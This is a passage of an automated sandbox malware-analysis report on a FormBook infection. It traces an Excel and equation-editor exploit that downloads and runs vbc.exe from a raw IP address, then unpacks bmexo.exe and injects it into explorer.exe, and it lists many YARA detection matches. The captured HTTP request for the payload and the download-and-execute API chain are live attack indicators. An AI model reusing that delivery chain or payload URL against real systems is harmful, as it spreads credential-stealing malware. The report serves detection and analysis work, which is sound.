Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.996739649.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E4ED06E0.emf Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035D050B
Source: global traffic HTTP traffic detected: GET /fdcloudfiles/vbc.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 103.156.91.153Connection: Keep-Alive
Contains functionality for read data from the clipboard
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040580F GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 4_2_0040580F

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\Public\vbc.exe Jump to dropped file
Yara signature match
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Contains functionality to shutdown / reboot the system
Source: C:\Users\Public\vbc.exe Code function: 4_2_00403646 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,ExitProcess,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403646
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F21890 5_2_00F21890
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F296A0 5_2_00F296A0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F27E88 5_2_00F27E88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F29C12 5_2_00F29C12
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F2B3F1 5_2_00F2B3F1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F2C3BD 5_2_00F2C3BD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00F2A184 5_2_00F2A184
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 5_2_00160A2C 5_2_00160A2C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0040102F 6_2_0040102F
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00401030 6_2_00401030
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041D8FD 6_2_0041D8FD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041E99C 6_2_0041E99C
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0040927B 6_2_0040927B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041DAD0 6_2_0041DAD0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00409280 6_2_00409280
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0040DC20 6_2_0040DC20
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041EDF4 6_2_0041EDF4
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00402D88 6_2_00402D88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00402D90 6_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041DEEC 6_2_0041DEEC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_0041E73A 6_2_0041E73A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00402FB0 6_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F21890 6_2_00F21890
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F2A184 6_2_00F2A184
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F2B3F1 6_2_00F2B3F1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F2C3BD 6_2_00F2C3BD
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F29C12 6_2_00F29C12
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F296A0 6_2_00F296A0
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00F27E88 6_2_00F27E88
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009AE0C6 6_2_009AE0C6
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009DD005 6_2_009DD005
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009C905A 6_2_009C905A
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A2D06D 6_2_00A2D06D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B3040 6_2_009B3040
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009AE2E9 6_2_009AE2E9
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A51238 6_2_00A51238
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_00A563BF 6_2_00A563BF
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009D63DB 6_2_009D63DB
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009AF3CF 6_2_009AF3CF
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B2305 6_2_009B2305
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe Code function: 6_2_009B7353 6_2_009B7353
